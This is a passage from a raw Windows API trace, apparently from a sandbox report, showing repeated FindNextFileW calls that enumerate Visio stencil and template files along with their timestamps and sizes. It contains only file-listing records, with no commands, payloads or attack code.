ftCreationTime.dwLowDateTime=0x44af0600, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x44af0600, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x5d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EECHIP_M.VSS", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc321ba00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc321ba00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EECHIP_M.VST", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c868a00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5c868a00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x5b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EECHIP_U.VSS", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9179b00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc9179b00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EECHIP_U.VST", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64dec500, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x64dec500, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x26000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EECOMP_M.VSS", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e682d00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6e682d00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x24600, dwReserved0=0x0, dwReserved1=0x0, cFileName="EECOMP_U.VSS", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cb64900, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cb64900, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x39800, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEFUND_M.VSS", cAlternateFileName="")) returned 1 [0079.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b046500, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8b046500, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x37c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEFUND_U.VSS", cAlternateFileName="")) returned 1 [0079.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf0d7c00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf0d7c00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEGENR_M.VST", cAlternateFileName="")) returned 1 [0079.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5035d00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5035d00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x8e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEGENR_U.VST", cAlternateFileName="")) returned 1 [0079.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc2a6b00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdc2a6b00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEICS_M.VST", cAlternateFileName="")) returned 1 [0079.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2204c00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe2204c00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEICS_U.VST", cAlternateFileName="")) returned 1 [0079.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fc91900, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8fc91900, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0xde00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEMAIN_M.VSS", cAlternateFileName="")) returned 1 [0079.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948dcd00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x948dcd00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEMAIN_U.VSS", cAlternateFileName="")) returned 1 [0079.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0798f00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0798f00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEMAPS_M.VSS", cAlternateFileName="")) returned 1 [0079.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac655100, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac655100, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x2ba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEMAPS_U.VSS", cAlternateFileName="")) returned 1 [0079.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb25b3200, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb25b3200, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x15800, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEMECH_M.VSS", cAlternateFileName="")) returned 1 [0079.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb71fe600, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb71fe600, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x14800, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEMECH_U.VSS", cAlternateFileName="")) returned 1 [0079.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf782100, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbf782100, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEPATH_M.VSS", cAlternateFileName="")) returned 1 [0079.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d05c00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc7d05c00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x1a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEPATH_U.VSS", cAlternateFileName="")) returned 1 [0079.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdc63d00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcdc63d00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x1a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEQUAL_M.VSS", cAlternateFileName="")) returned 1 [0079.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3bc1e00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3bc1e00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x19600, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEQUAL_U.VSS", cAlternateFileName="")) returned 1 [0079.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde76b300, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xde76b300, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x29c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EESEMI_M.VSS", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9314800, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe9314800, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x29a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EESEMI_U.VSS", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc441800, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfc441800, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x4b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EESWCH_M.VSS", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf56e800, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf56e800, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x48600, dwReserved0=0x0, dwReserved1=0x0, cFileName="EESWCH_U.VSS", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea788700, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xea788700, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x0, dwReserved1=0x0, cFileName="EESYS_M.VST", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2d0c200, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf2d0c200, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EESYS_U.VST", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x167df600, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x167df600, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EETCOM_M.VSS", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da50400, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da50400, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x1d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EETCOM_U.VSS", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x272e6c00, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x272e6c00, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x24c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EETERM_M.VSS", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e90100, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x31e90100, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EETERM_U.VSS", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37dee200, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x37dee200, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EETRAN_M.VSS", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd4c300, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3dd4c300, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x17c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EETRAN_U.VSS", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x475e2b00, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x475e2b00, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x28e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEVHF_M.VSS", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50e79300, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x50892900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50e79300, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x27c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEVHF_U.VSS", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cd35500, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x50892900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5cd35500, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x25c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELETEL_M.VSS", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb28fd00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50892900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfb28fd00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELETEL_M.VST", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bf1700, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x50892900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x68bf1700, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x27a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELETEL_U.VSS", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b26500, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50892900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4b26500, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELETEL_U.VST", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74aad900, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x50892900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x74aad900, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x59600, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMBELL_M.VSS", cAlternateFileName="")) returned 1 [0079.748] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80969b00, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x50892900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80969b00, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x54c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMBELL_U.VSS", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x960bc500, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x50892900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x960bc500, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x6d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENTAPP_M.VSS", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845ec00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x845ec00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENTAPP_M.VST", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa4fc200, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xaa4fc200, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x69c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENTAPP_U.VSS", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa84600, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xaa84600, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENTAPP_U.VST", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xade34900, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xade34900, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENTITY_M.VSS", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb176d000, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, 